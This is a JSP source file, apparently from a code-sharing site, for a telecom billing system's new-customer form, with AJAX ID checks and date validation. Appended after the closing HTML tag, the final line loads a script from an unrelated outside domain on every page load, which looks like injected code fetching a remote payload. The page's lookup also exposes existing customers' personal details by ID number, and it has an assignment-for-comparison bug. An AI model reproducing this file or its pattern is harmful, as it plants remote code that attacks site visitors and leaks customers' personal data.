⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 newcustomer2.jsp

📁 开发的一个java web的任务管理系统。
💻 JSP
字号:
<%@page pageEncoding="UTF-8"%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html"%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean"%>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic"%>
<HTML><HEAD><TITLE>联通收费系统</TITLE>
<META http-equiv=Content-Type content="text/html; charset=UTF-8">
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<link href="style.css" rel="stylesheet" type="text/css">

<Script type="text/javascript">
    <%--利用ajax中的xmlHttpRequest对象与服务器进行异步通信,从数据库动态取得内容到下拉列表--%>
	var xmlHttp;
    var checkResult;
	//回调函数(当请求成功发到服务器并且服务返回200响应状态码时而执行)
	function callBackCheckShow()
	{
     
	  if(xmlHttp.readyState == 4)
	  {
	   if(xmlHttp.status == 200)
           {
               var xmlDoc = xmlHttp.responseXML;
               var checkValue = xmlDoc.getElementsByTagName("check")[0].childNodes[0].nodeValue;
               if(checkValue=="false")
               {
                checkResult.innerHTML = "<font color='red'>恭喜!该客户证件号未被占用</font>";
                 return;
               }
               if(checkValue=="true")
               {
                 checkResult.innerHTML = "<font color='red'>抱歉!该客户证件号已经存在</font>";
                 var customerName =  xmlDoc.getElementsByTagName("name")[0].childNodes[0].nodeValue;
                 var customerBirthday =  xmlDoc.getElementsByTagName("birthday")[0].childNodes[0].nodeValue;
                 var customerSex =  xmlDoc.getElementsByTagName("sex")[0].childNodes[0].nodeValue;
                 var customerAddress =  xmlDoc.getElementsByTagName("address")[0].childNodes[0].nodeValue;
                 var customerType =  xmlDoc.getElementsByTagName("type")[0].childNodes[0].nodeValue;
                 //利用Dom对html进行操作
                 if(customerType=="D")
                   document.dynaForm.customerType.selectedIndex=0;
                 if(customerType=="A")
                   document.dynaForm.customerType.selectedIndex=1;
                 if(customerType="P")
                   document.dynaForm.customerType.selectedIndex=2;
                   
                 document.dynaForm.customerName.value=customerName;
                 document.dynaForm.customerBirthday.value=customerBirthday;
                 if(customerSex=="M")
                   document.all("customerSex")[0].checked=true;
                 else
                   {
                   document.all("customerSex")[1].checked=true;
                   }
                 document.dynaForm.customerAddress.value=customerAddress;
                   //去掉提交按钮
                   var labelSub = document.getElementById("labelId");
                   labelSub.innerHTML = "";
               }
           }
	  }
	  
	  
	}
	//内容改变事件所触发而调用的函数
	function checkCustomerNumber()
	{
	  if(document.dynaForm.customerNumber.value=="")
	  {
	    checkResult.innerHTML = "<font color='red'>注意,客户证件号不能为空</font>";
	    document.dynaForm.customerNumber.focus();
	    return;
	  }
	  if(isNaN(document.dynaForm.customerNumber.value))
	  {
	    checkResult.innerHTML = "<font color='red'>注意,客户证件号必须为整数</font>";
	    document.dynaForm.customerNumber.focus();
	    return;
	  }
	  checkResult = document.getElementById("checkResult");
	  checkResult.innerHTML = "<font color='red'>正在检测客户证件号是否存在...</font>";
	  //取得xmlHttpRequest对象
      if(window.ActiveXObject)
	  	{
	  	  xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
	  	}
	  else if(window.XMLHttpRequest)
	    {
	      xmlHttp = new XMLHttpRequest();
	    }
	    
	  //从页面取得的customerNumber值作为下面url的请求参数,注意"&timeStamp=" + new Date().getTime()"这段代码防止xmlHttpRequest对象读取缓存
	  var number = document.dynaForm.customerNumber.value;
	  var url = "customer.check?customerNumber=" + number + "&timeStamp=" + new Date().getTime();
	  xmlHttp.open("get",url,true);
	  xmlHttp.onreadystatechange=callBackCheckShow;
	  xmlHttp.send(null);
	}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
    //日期校验
    function checkIsValidDate(asDate)
     {
        var   lsDate     =   asDate   +   "";   
  		var   loDate     =   lsDate.split("-");   
        if (loDate.length!=3)   
            return   false;     
        var   liYear     =   parseInt(loDate[0]);   
        var   liMonth   =   parseInt(loDate[1]);   
        var   liDay       =   parseInt(loDate[2]);   
        if ((loDate[0].length>4)||(loDate[1].length>2)||(loDate[2].length>2)) 
          return   false;   
        if (isNaN(liYear)||isNaN(liMonth)||isNaN(liDay))  
          return   false;   
        if((liYear<1900)||(liYear>3000))  
          return   false;   
        if ((liMonth>12)||(liMonth<=0))      
          return   false;   
        if(Date_getDay(liYear,liMonth)<liDay)  
          return   false;   
        return  !isNaN(Date.UTC(liYear,liMonth,liDay));   

      }  
	//客户端合法数据验证
	function addCustomerValidate()
	{
	  var theForm = document.dynaForm;
	  var number = theForm.customerNumber.value;
	  var name = theForm.customerName.value;
	  var birthday = theForm.customerBirthday.value;
	  var address = theForm.customerAddress.value;
	  if(number == "")
	    {
	      theForm.customerNumber.focus();
	      alert("客户证件号码不能为空");
	      return false;
	    }
	  else{
	    if(isNaN(number))
	    {
	      theForm.customerNumber.focus();
	      alert("客户证件号码为数字类型");
	      return false;
	    }
	    else
	    {
	      if(name=="")
	       {
	        theForm.customerName.focus();
	        alert("客户名称不能为空");
	        return false;
	       }
	       else
	       {
	         if(!checkIsValidDate(birthday))
	          {
	            theForm.customerBirthday.focus();
	            alert("客户生日格式不正确");
	            return false;
	          }
	          else
	          {
	             if(address=="")
	               {
	                 theForm.customerAddress.focus();
	                 alert("客户地址不能为空");
	                 return false;
	               }
	             else
	               {
	                 return true;
	               }
	           }
	       }
	    }
	  }
	}
	//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	//重新绘制页面 
	function refreshForm()
	{
	   var theForm = document.dynaForm;
	   theForm.customerNumber.value ="";
	   theForm.customerName.value="";
	   theForm.customerBirthday.value="";
	   theForm.customerAddress.value="";
	   var labelSub = document.getElementById("labelId");
       labelSub.innerHTML = "<input type='submit' value='提交'/>";
	   
	}
</Script>
</HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 marginheight="0" marginwidth="0">
<CENTER>
<%@ include file="head.jsp"%>
<TABLE cellSpacing=0 cellPadding=0 width=749 border=0>
  <TBODY>
  <TR vAlign=top>
    <TD width=173 bgColor=#c9d3e9 rowSpan=2>
      <%@ include file="leftoper.jsp"%>
      </TD>
    <TD width=2 rowSpan=3><IMG height=1 src="images\blank(1).gif" width=2></TD>
    <TD width="2">
      <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
        <TBODY>
        <TR>
          <TD height=25>&nbsp;您现在的位置:新增客户</TD>
        </TR>
        <TR>
          <TD bgColor=#2650a6><IMG height=1 src="images\blank(1).gif" 
            width=1></TD></TR>
        <TR>
          <TD><IMG height=2 src="images\blank(1).gif" width=574></TD></TR></TBODY></TABLE></TD></TR>
  <TR vAlign=top>
    <TD height="600" bgColor=#f1f3f9>
    
<html:form action="/addCustomer.do" onsubmit="return addCustomerValidate();">
<p>证件类型:<html:select property="customerType"style="width:138px" onchange="refreshForm();">
    <html:option value="D">身份证</html:option>
    <html:option value="A">军官证</html:option>
    <html:option value="P">护照证</html:option>
    </html:select></p>
<P>证件号码:<html:text property="customerNumber" onblur="checkCustomerNumber();"/><label id = "checkResult"></label></P>
<p>客户姓名:<html:text property="customerName"/></p>
<p>客户生日:<html:text property="customerBirthday"/><label>格式:1980-10-01</label></p>
<p>客户性别:<html:radio property="customerSex" value="M"/>男 &nbsp;&nbsp;<html:radio property="customerSex" value="F" />女</p>
<p>客户地址:<html:textarea property="customerAddress" rows="3"/></p>
<br>
 &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;
<label id="labelId"><html:submit value="提交" property="sub"/><html:reset value="重置"/></label>
</html:form>
    
    
    
    </TD>
    </TR>
  </TBODY></TABLE>
<BR></CENTER></BODY></HTML>
<script>   
    document.all("customerSex")[0].checked=true;
</script>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -